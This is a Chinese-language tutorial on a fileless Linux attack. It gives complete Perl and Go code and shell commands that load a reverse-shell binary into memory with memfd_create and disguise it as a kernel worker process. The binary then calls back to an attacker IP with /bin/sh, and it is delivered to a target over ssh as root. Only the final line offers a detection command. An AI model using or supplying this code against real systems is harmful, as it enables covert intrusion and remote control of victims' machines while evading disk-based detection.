Linux 无文件攻击memfd_create()具体操作步骤

攻击：

1、新建文件elfload.pl.head

内容：

#!/usr/bin/env perl
use warnings;
use strict;
$|=1;
my $name = "";
my $fd = syscall(319, $name, 1);
if (-1 == $fd) {
        die "memfd_create: $!";
}
open(my $FH, '>&='.$fd) or die "open: $!";
select((select($FH), $|=1)[0]);
print "Writing ELF binary to memory...";

2、新建文件elfload.pl.tail

注意：xx.x.x.x是反弹IP

内容：

# Execute new program
exec {"/proc/$$/fd/$fd"} "[kworded/0:0]", "-addr", "xx.x.x.x:4444" or die "exec: $!";

3、新建文件demoshell.go

内容：

package main

import (
        "flag"
        "fmt"
        "log"
        "net"
        "os"
        "os/exec"
        "time"
)
/* Verbose logger */
var vlog = log.Printf
func main() {
        var (
                addr = flag.String(
                        "addr",
                        "127.0.0.1:4444",
                        "Callback `adress`",
                )
                sleep = flag.Duration(
                        "sleep",
                        2*time.Second,
                        "Sleep `duration` between callbacks",
                )
                verbose = flag.Bool(
                        "v",
                        false,
                        "Print message for each connection",
                )
        )
        flag.Usage = func() {
                fmt.Fprintf(
                        os.Stderr,
                        `Usage %v [options]
Calls the address every so often and hooks up a shell to the network
connection.
Options:
`,
                        os.Args[0],
                )
                flag.PrintDefaults()
        }
        flag.Parse()
        /* Unverbose just disables extra logging */
        if !*verbose {
                vlog = func(string, ...interface{}) {}
        }
        log.Printf("Starting shell callbacks to %v", *addr)
        for {
                /* Try to make a shell */
                if err := shell(*addr); nil != err {
                        vlog("Error: %v", err)
                }
                /* Sleep until the next one */
                time.Sleep(*sleep)
        }
}
/* shell connects to addr and hands it a shell */
func shell(addr string) error {
        /* Try to connect */
        c, err := net.Dial("tcp", addr)
        if nil != err {
                return err
        }
        vlog("Connected %v->%v", c.LocalAddr(), c.RemoteAddr())
        defer c.Close()
        /* Make a shell to hook up */
        s := exec.Command("/bin/sh")
        s.Stdin = c
        s.Stdout = c
        s.Stderr = c
        /* Welcome the user */
        fmt.Fprintf(c, "Welcome!
")
        /* Start the shell */
        return s.Run()
}

编译成二进制 ：go build -o demoshell demoshell.go

攻击执行步骤：

xx.x.x.x是反弹IP

 cat elfload.pl.head | tee elfload.pl
 perl -e '$/=32;print"print $FH pack q/H*/, q/".(unpack"H*")."/ or die qq/write: $!/;
"while(<>)' demoshell >> elfload.pl
 cat elfload.pl.tail | tee -a elfload.pl
 cat elfload.pl | ssh root@xx.x.x.x /bin/bash -c 'perl'

操作完成提示输入被攻击者IP密码：

 登录IP检测Fileless Linux Attacks

ls -alR /proc/*/exe 2> /dev/null | grep memfd:.*(deleted)